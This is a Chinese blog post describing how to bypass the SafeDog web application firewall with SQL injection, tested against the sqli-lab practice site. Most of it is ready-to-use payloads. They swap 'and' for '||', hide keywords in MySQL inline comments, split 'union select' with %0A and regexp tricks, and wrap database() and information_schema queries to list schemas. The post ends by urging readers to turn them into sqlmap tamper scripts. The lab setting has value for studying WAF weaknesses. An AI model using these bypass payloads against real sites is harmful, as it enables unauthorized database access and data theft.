SQL注入绕过某Dog

简介: SQL注入绕过某Dog


一、环境搭建


下载最新版的安全狗

安装后配置好环境(将防护等级修改为高级)

77b2223ac750327352bed5cb487980f2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

注:此次使用的为sqli-lab靶场,懒得自己写环境了。


二、尝试绕过


使用普通的注入语句尝试,被拦截,此时不要慌,想绕狗呢,就必须知道那个关键字被识别了,想办法使用相同的参数去代替。

8465ad94e744a4b3a7a06767979e506f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

语句很短,盲猜是 and 被识别了,删掉之后页面正常。

先来看这句注入  ?id=1'  and 1=1--+  可以理解为 and 前后的条件达成一致不会报错,所以这里的 and 可以替换为 or 、 xor 、&& 、|| 等等,1=1 、1=2 这种判断条件可以改为 false、true等等,思路捋清晰,开始测试。

abe97349a09b76827b5e40b3a41e0b5d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

测试结果 ?id=1' || true--+ 成功绕过,说明此处的条件判断将 and 改为 ||可以绕过。

此时换个思路,尝试步修改 and 使用内联注释尝试绕过

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。/*!50001*/ 在数据库版本大于5.00.00时中间的语句会被执行,此处的50001表示假如。

?id=1'/*!11444and*/ '1'='3'--+

d7a40dab57a5e734eb6518bb223aefd3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

?id=1'/*!11444or*/ '1'='3'--+

80afa8cc2174ae09ceb67d57aee24159_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

?id=1' and /*!500001*/=/*!500002*/--+

83dc6ceeada3b1c551263842903dfd74_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

下面一步时猜字段,使用order by 、group by等,安全狗一直会识别 order by ,但不会识别 group by。

72d1cfb8774e94b78f0495912e2f13ac_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

8dcf92e4bf5c8ea409dbc17090804e49_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

后边是联合查询,union select 等效替换,内联注释的添加,还可以使用特殊字符替换空格来尝试绕过(在20年12月份还写过一版,当时的 union 中间穿插 /*%!a*/ 还可以绕过)

c5428cb7ac48fdc80b8c1d4853a4c156_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

尝试内联注释和 %0a 截断都会被拦截,应该是匹配到了内联注释直接拦截。

16ae9603fb17ad50515476c6cdce02dc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


尝试在参数后插入其他语句后执行后,添加注释,再使用截断;这里直接使用#语句报错,将双引号给直接注释掉了,将 # 替换为 %23回显正常。


?id=1' regexp "%0A%23" /*!11144union %0A select */1,2,3--+


01029f6b29d5485c8238b911352b861e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

a91083e71933f7bdf47986255f7d4b49_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

安全狗早就把 database() 加入规则中了,去年测试时使用垃圾字符和内联注释可以绕过,现在也不行了。

116b0cbc39bcab6f1325153a963252c2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

9bd401a1d713108705c2b78202695750_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

测试将括号删一个,然后报错但是没有被拦截,可以在括号内进行操作,添加内联注释或者截断。

6540448ae9c2d07a169a62836b062751_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

添加单个截断会被拦,又加了内联注释,成功绕过。


?id=-1' regexp "%0A%23"/*!50001union %0A select*/ 1,2,database(%0A /*!11144*/)--+


dc2408980c3c73190dcb67a60d9ab88d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


三、小总结


这里就可以总结一下绕过的姿势了,关键字体换姿势比较少,比较多的还是使用截断和内联注释。

判断是否存在注入时,and 、or、xor 等可以替换为 || false||trueand /*!500001*/=/*!500001*//*!11444or*/ '1'='3' 进行绕过判断;使用联合注入时现在的某狗会将整个字符连同内联注释拦截,在 union 前添加一些其他函数进行混淆:regexp "%0a%23" /*!50001union %0a select*/1,2,3 (内联注释中的数字是作为判断,是否大于5.00.01,如果当前数据库版本小于5.00.01则语句被注释掉)这里的50001有时候会被拦截,可以替换成其他的五位的数字,这里就不做测试了;数据查询中的关键字被拦截时可以尝试在括号中做插入换行、截断、内联注释等等。

注表和字段大差不差的都相似,就是需要检查那个关键字被识别,对关键字进行修改,括号包裹、内联注释、换行截断等等都可以试一试。


regexp "%0A%23"/*!11441union %0A select*/ 1,(select %0A (schema_name %0A /*80000aaa*/) %0A from %0A /*!11444 /*REGEXP "[…%0A%23]"*/ %0A information_schema.schemata*/ limit 0),3--+


358118f8a2e73c3aa984b2f9bc1513f8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


regexp "%0A%23"/*!11441union %0A select*/ 1,(select %0A group_concat(schema_name %0A /*11444*/) %0A from %0A /*!11444 /*REGEXP "[…%0A%23]"*/ %0A information_schema.schemata*/),3--+


自己找到规律之后可以尝试修改sqlmap的脚本,sqlmap本身自带绕过安全设备的脚本,自己可以添加几个来丰富自己的武器库。



相关文章
|
6天前
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
35 0
|
6天前
|
SQL 关系型数据库 MySQL
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
|
6天前
|
SQL NoSQL 关系型数据库
一个基于 BigQuery 的 SQL 注入挖掘案例
一个基于 BigQuery 的 SQL 注入挖掘案例
8 0
|
6天前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
29 0
|
6天前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 参数详解
SQL 注入神器:SQLMap 参数详解
|
6天前
|
SQL 存储 Java
如何避免SQL注入?
【4月更文挑战第30天】如何避免SQL注入?
26 0
|
6天前
|
SQL 安全 PHP
【PHP 开发专栏】PHP 防止 SQL 注入的方
【4月更文挑战第30天】本文介绍了PHP防止SQL注入的策略,包括理解SQL注入的原理和危害,如数据泄露和系统控制。推荐使用参数化查询(如PDO扩展)、过滤和验证用户输入,以及选择安全的框架和库(如Laravel)。此外,强调了保持警惕、定期更新维护和开发人员安全培训的重要性,以确保应用安全。
|
6天前
|
SQL 存储 安全
|
6天前
|
SQL Oracle 关系型数据库
常见 SQL 注入绕过方法
常见 SQL 注入绕过方法
|
6天前
|
SQL Oracle 关系型数据库
利用 SQL 注入提取数据方法总结
利用 SQL 注入提取数据方法总结